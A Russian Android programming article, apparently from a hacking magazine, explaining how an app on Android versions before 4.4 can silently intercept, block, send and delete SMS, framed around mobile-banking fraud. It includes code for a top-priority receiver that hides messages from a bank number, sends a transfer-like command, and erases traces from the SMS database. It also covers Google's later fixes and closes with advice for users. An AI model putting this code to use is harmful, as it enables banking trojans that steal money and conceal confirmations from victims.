Содержание статьи
Только представь: у всех жителей средней полосы осень, а ты тусуешься на морях, солнце лениво замерло в зените, ты лежишь на жемчужном пляже одного из Мальдивских островов, любуешься окружающими пейзажами и проходящими девушками в бикини, потягивая коктейль... А много позже, вечером, ты обнаруживаешь, что на счете твоей пластиковой карточки пусто! Как же так? Мобильный банк с информированием подключен, все операции вроде бы подтверждаются по СМС... Примерно такие вопросы стали недавно задавать вслух клиенты одного крупного банка с зеленым логотипом.
WARNING
Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.Вместо эпиграфа
Как ты уже понял, речь сегодня пойдет о махинациях с мобильным банком, а в частности — о неоднозначной работе с СМС в Андроиде. Хочу сразу предупредить: представленный материал не является чем-то приватным (пример работы с СМС вполне доступен в официальном SDK от Google), никаких 0day-эксплоитов ты здесь не найдешь, более того, я даже не утверждаю, что все происходит (или происходило) именно так, как описано. Считай, что все события вымышлены, а совпадения случайны. Итак, в одной очень далекой галактике...
Получение СМС
...у нас есть смартфон с Android на борту (без root’а) и мы хотим написать приложение, контролирующее работу с короткими текстовыми сообщениями. А именно — попробуем скрытно что-нибудь получить.
Когда устройство принимает сообщение, срабатывает широковещательное намерение со стандартным действием android.provider.Telephony.SMS_RECEIVED. И вот первая странность — данное действие не указано в SDK в виде константы, то есть этот строковый литерал нужно прописывать в коде явно:
public static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED";
Для приложений, отслеживающих намерения, связанные с получением СМС, необходимо запросить разрешение в манифесте проекта:
<uses-permission
android:name="android.permission.RECEIVE_SMS"
/>
При установке такого приложения пользователь увидит запрос, приведенный на рис. 1. Казалось бы, черным по белому написано, что приложение хочет принимать/отправлять СМС... Но, как показывает практика социальной инженерии, большой процент пользователей нажмет «Установить» не глядя, совершенно не задумываясь, зачем, например, «Критическому обновлению системы Andoid / Браузеру / Adobe Flash / Банковскому ПО...», взявшемуся непонятно откуда (!), нужно получать текстовые сообщения.
Для обработки намерения SMS_RECEIVED в манифесте приложения необходимо зарегистрировать широковещательный приемник (за подробностями отправляю тебя к прошлым статьям рубрики «Кодинг»):
<receiver android:name="EvilSMSReceiver">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
С этого момента зарегистрированный приемник будет принимать входящие СМС, даже если приложение не запущено, даже если телефон перезагружен!
Нужно сказать, что таких приемников может быть несколько и они сработают друг за другом в соответствии с приоритетом, указанным в поле android:priority. Максимальное значение — 1000, а вот у стандартного обработчика Android (который помещает СМС в папку «Входящие», выводит уведомление и вибрирует) — и это вторая странность — 999. Хотя, если подумать, объяснение достаточно простое: на платформе Android все программы имеют одинаковый статус и написаны на одном и том же API, что позволяет пользователям легко удалять или заменять встроенные ПО на альтернативные разработки, будь то почтовый клиент, приложение для дозвона или программа для работы с сообщениями.
Таким образом, указанный выше приемник EvilSMSReceiver сработает первым, а стандартный — следом. Типичная реализация широковещательного приемника СМС представлена ниже:
public class EvilSMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(SMS_RECEIVED)) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
// Получаем все кусочки СМС
Object[] pdus = (Object[]) bundle.get("pdus");
SmsMessage[] messages = new SmsMessage[pdus.length];
for (int i = 0; i < pdus.length; i++)
messages[i] = SmsMessage.createFromPdu((byte[]) pdus[i]);
// Собираем сообщение
String from = messages[0].getOriginatingAddress();
long when = messages[0].getTimestampMillis();
String msg = "";
for (SmsMessage message : messages)
msg += message.getMessageBody();
if (from.equalsIgnoreCase("800")) {
// Работаем с сообщением
...
abortBroadcast();
}
}
}
}
};
Намерение с действием SMS_RECEIVED содержит информацию обо всех частях входящего сообщения (длинное СМС при передаче автоматически разбивается на несколько). Чтобы извлечь массив объектов SmsMessage, упакованных внутри дополнительного параметра Intent, используется стандартный ключ — intent.getExtras().get("pdus"). Полученный массив имеет формат PDU (protocol data unit), и для приведения в человеческий вид используется метод SmsMessage.createFromPdu. Далее в цикле сообщение собирается в единое целое, также определяется отправитель (from), дата и время отправки (when).
В сущности, все это уже не раз рассматривалось на страницах «Хакера» и вполне предсказуемо. А дальше начинается самое интересное: мы смотрим на отправителя и, если его номер 800 (вымышленный, конечно же), начинаем «работать» с этим сообщением особым образом, после чего вызываем метод abortBroadcast, блокирующий дальнейшую обработку другими приемниками. Это сообщение пользователь уже не увидит никогда...
Google наносит ответный удар
Все сказанное прекрасно работало до версии Android 4.4 (которых, кстати, и сейчас в дикой природе достаточно много). Хрустящие палочки надломили (правильнее сказать, нагнули) весь процесс работы с текстовыми сообщениями в этой ОС. Было введено понятие «приложение для работы с СМС по умолчанию», задать которое должен сам пользователь (см. рис. 2). Причем только это приложение имеет полный доступ на запись и удаление в базе сообщений (так называемый SMS Provider, о котором мы еще поговорим) смартфона (папки «Входящие», «Исходящие» и так далее), тогда как другие — только на обработку широковещательного намерения (об этом ниже). Кроме того, прервать обработку входящего сообщения с помощью abortBroadcast больше не представляется возможным.
Когда это обновление добралось до пользователей, внезапно выяснилось, что все безобидные и, безусловно, нужные приложения для создания резервных копий информации с телефона перестали восстанавливать СМС из бэкапа, что вызвало дружное снижение оценок первых в Google Play. Пользователям предложили вручную менять приложение по умолчанию на то, которое работает с резервной копией, а потом возвращать обратно. Что тут скажешь, за безопасность всегда нужно платить удобством.
Xakep #200. Тайная жизнь Windows 10
Для разработчиков же все только начиналось. Вместо SMS_RECEIVED были введены сразу два широковещательных намерения: SMS_RECEIVED_ACTION и SMS_DELIVER_ACTION. Первое очень напоминает по характеру SMS_RECEIVED, но позволяет всего лишь извлечь полученное сообщение — ни abortBroadcast, ни какие-либо манипуляции на «запись и удаление» в базе сообщений не сработают, то есть факт получения СМС скрыть уже так просто не удастся.
Намерение SMS_DELIVER_ACTION получит только то приложение, которое выбрано для работы с СМС по умолчанию. Оно-то и будет обладать всеми правами для непосредственной работы с базой сообщений (SMS Provider). Чтобы приложение стало избранным, то есть приложением по умолчанию, можно попытаться отправить запрос пользователю:
Intent intent = new Intent(context, Sms.Intents.ACTION_CHANGE_DEFAULT);
intent.putExtra(Sms.Intents.EXTRA_PACKAGE_NAME, context.getPackageName());
startActivity(intent);
Но тогда на экране появится диалоговое окно (см. рис. 3), не заметить которое сложновато. Хотя я не сомневаюсь, что и здесь найдутся «остроумные» пользователи, ответившие положительно. Мы же попробуем зайти с другой стороны.
Пользователь форума xda-developers.com с ником stepic, исследуя исходный текст Android, обнаружил, что приложение для работы с СМС по умолчанию обладает всего лишь специальным разрешением на запись СМС — OP_WRITE_SMS:
// Allow OP_WRITE_SMS for the newly configured default SMS app
appOps.setMode(
AppOpsManager.OP_WRITE_SMS,
applicationData.mUid,
applicationData.mPackageName,
AppOpsManager.MODE_ALLOWED
);
Установить такое разрешение можно с помощью скрытого (от глаз пользователя) менеджера разрешений App Ops. Этот фреймворк, запрятанный глубоко в недрах системы Android, позволяет управлять разрешениями для отдельных приложений. Обычно при установке приложения пользователь должен сразу соглашаться со всем списком разрешений или вовсе отказаться от дальнейшей установки. Часто хочется ограничить приложение более гибко, например из всего списка разрешений запретить только отслеживание местоположения. App Ops позволяет с легкостью провернуть этот трюк — да, приложение от неожиданности может и упасть, но почему бы не попробовать?
Начиная с Android 4.3, вызвать App Ops можно из консоли:
adb shell am start -a android.settings.SETTINGS -e ":android:show_fragment" "com.android.settings.applications.AppOpsSummary"
Или непосредственно из кода:
Intent intent = new Intent(Intent.ACTION_MAIN);
ComponentName cn = new ComponentName("com.android.settings", "com.android.settings.Settings");
intent.setComponent(cn);
intent.putExtra(":android:show_fragment", "com.android.settings.applications.AppOpsSummary");
startActivity(intent);
Если перейти на вкладку Messaging, то можно заметить, что у недефолтного приложения для работы с СМС флаг записи сброшен — WRITE SMS OFF (см. рис. 4), но здесь же его можно и установить (при этом root не нужен!).
INFO
В июньском номере Хакера (№ 197) в статье «SQLite под микроскопом» Дмитрий Подкопаев рассказал, как работать с базой данных сообщений, имея рут.
Google наносит второй ответный удар
Рассмотренный выше App Ops был замечен прогрессивной общественностью и взят на вооружение. Разумеется, гибкая настройка разрешений очень не понравилась Google — как же показывать рекламу, если можно отрубить выборочно доступ в сеть? Сославшись на то, что App Ops не предназначен для конечных пользователей, интернет-гигант тихо прикрыл лавочку в Android 4.4.2, косвенно залатав еще одну лазейку теневой работы с СМС.
Пишите в Спортлото
А как же с отправкой СМС, спросишь ты? В Android за работу с СМС отвечает класс SmsManager. Для получения ссылки на объект этого класса можно использовать метод getDefault:
SmsManager sms = SmsManager.getDefault();
Также потребуется специальное полномочие SEND_SMS в манифесте:
<uses-permission android:name="android.permission.SEND_SMS"/>
Кстати, в настоящее время API в Android не поддерживает создание ММС внутри сторонних приложений, то есть для отправки мультимедийных сообщений в любом случае нужно использовать стандартное приложение.
Для отправки текстового сообщения используется метод sendTextMessage объекта SmsManager, в который передается телефонный номер получателя и текст сообщения:
String sendTo = "800";
String sendMessage = "8913xxxxxxx 1000";
sms.sendTextMessage(sendTo, null, sendMessage, null, null);
где второй параметр позволяет указать центр обработки сообщений (SMSC), при передаче null используется стандартный центр, предоставляемый оператором сотовой связи. Последние два параметра позволяют задать намерения (Intent) для отслеживания передачи и успешной доставки сообщения. Так как нас не особо интересуют такие мелочи, просто указываем null.
Отосланное таким образом сообщение попадет в папку «Отправленные», что, естественно, нас не устраивает. Попробуем это исправить.
Пинг-понг
Android Debug Bridge (ADB) поддерживает передачу СМС между несколькими экземплярами эмулятора. Чтобы отправить СМС из одного эмулятора в другой, необходимо указать номер порта получателя в качестве параметра sendTo для метода sendTextMessage. ADB автоматически адресует сообщение соответствующему экземпляру эмулятора.
В основе «низкоуровневой» работы с СМС в Android предусмотрен специальный источник данных — SMS Provider. По определению, источники данных предлагают общий интерфейс для доступа к любой информации путем отделения логики приложения от слоя, отвечающего за хранение данных (как правило, базы данных SQLite). Любой источник данных предоставляет интерфейс для публикации и потребления данных, основанный на простой адресной модели URI, используя схему content://.
В Android предусмотрено несколько стандартных источников данных, такие как менеджер контактов, мультимедийное хранилище, календарь, сообщения. Нас интересует стандартный источник данных «Сообщения» с URI вида content://sms/. Для полноценной работы с ним нам необходимо еще одно разрешение:
<uses-permission android:name="android.permission.WRITE_SMS"/>
Для удаления отдельных сообщений можно воспользоваться следующим подходом:
Cursor c = getApplicationContext().getContentResolver().query(
Uri.parse("content://sms/"),
new String[] {"_id", "thread_id", "address", "person", "date","body" },
null,
null,
null
);
try {
while (c.moveToNext()) {
int id = c.getInt(0);
String address = c.getString(2);
if (address.equalsIgnoreCase("800")) {
getApplicationContext().getContentResolver().delete(
Uri.parse("content://sms/" + id),
null,
null
);
}
}
} catch (Exception e) {
}
Видно, что работа с источником данных напоминает работу с базой данных: метод query подготавливает SQL-запрос вида SELECT со столбцами, переданными в массиве, а delete удаляет запись с идентификатором id.
Приведенный фрагмент удалит вообще все сообщения, присланные с номера 800, как во входящих, так и в отправленных, что может быть заметно, так как у пользователя могут храниться нужные ему сообщения с этого номера. Для более «тонкого» удаления к проверке адресата можно еще добавить проверку времени получения или отправки СМС, взятого из поля date (формат UNIX Time). Учти, что в отличие от упомянутого выше метода abortBroadcast, данный способ не является потокобезопасным.
Как ты уже, наверное, догадался, приведенный код тоже откажется работать в Android 4.4. и выше, если приложение не выбрано для работы с СМС по умолчанию.
SMS vs USSD
Для подтверждения операций по банковским счетам и картам вместо СМС иногда используются USSD-запросы. Unstructured Supplementary Service Data — сервис в сетях GSM, предназначенный для организации интерактивного взаимодействия между абонентом сети и сервисным приложением в режиме передачи коротких сообщений. Команда *100# есть не что иное, как USSD-запрос. В настоящее время Android не имеет API для чтения ответных сообщений, что может сильно усложнить жизнь злоумышленникам.
Добрые СМС
Может сложиться ощущение, что легитимная программа, не имеющая статуса приложения для работы с СМС по умолчанию, не сможет работать с СМС в последних версиях Android. Однако это не так. Как уже отмечалось, для получения СМС вполне подойдет системное намерение SMS_RECEIVED, а для отправки целесообразно использовать то самое приложение по умолчанию (в качестве «бонуса» — никакого разрешения на отправку сообщения в манифесте не требуется):
Intent smsIntent = new Intent(Intent.ACTION_SENDTO, Uri.parse("sms:800"));
smsIntent.putExtra("sms_body", "The Way It Used To Be");
startActivity(smsIntent);
Да, в этом случае фантазия программиста существенно ограничена и требует подтверждения пользователя, но для безопасности, на мой взгляд, это не так уж и плохо.
Резюме
В качестве защитной меры здесь можно было бы написать банальное «Всегда используй последнюю версию Android», но, к большому сожалению, производители смартфонов финансово не заинтересованы обновлять свои старые устройства. Так, некогда флагман Samsung Galaxy Note обновился только до версии 4.1.
Для справки: на рис. 5 представлена статистика одного приложения из Google Play по версиям Android. Видно, что, хотя версии 4.4 и 5.0 находятся на первом месте, их суммарная доля составляет меньше половины всех устройств. Так что единственный совет (актуальный на все времена, кстати): будь внимателен и критично относись к тому, что ставишь на свой карманный компьютер.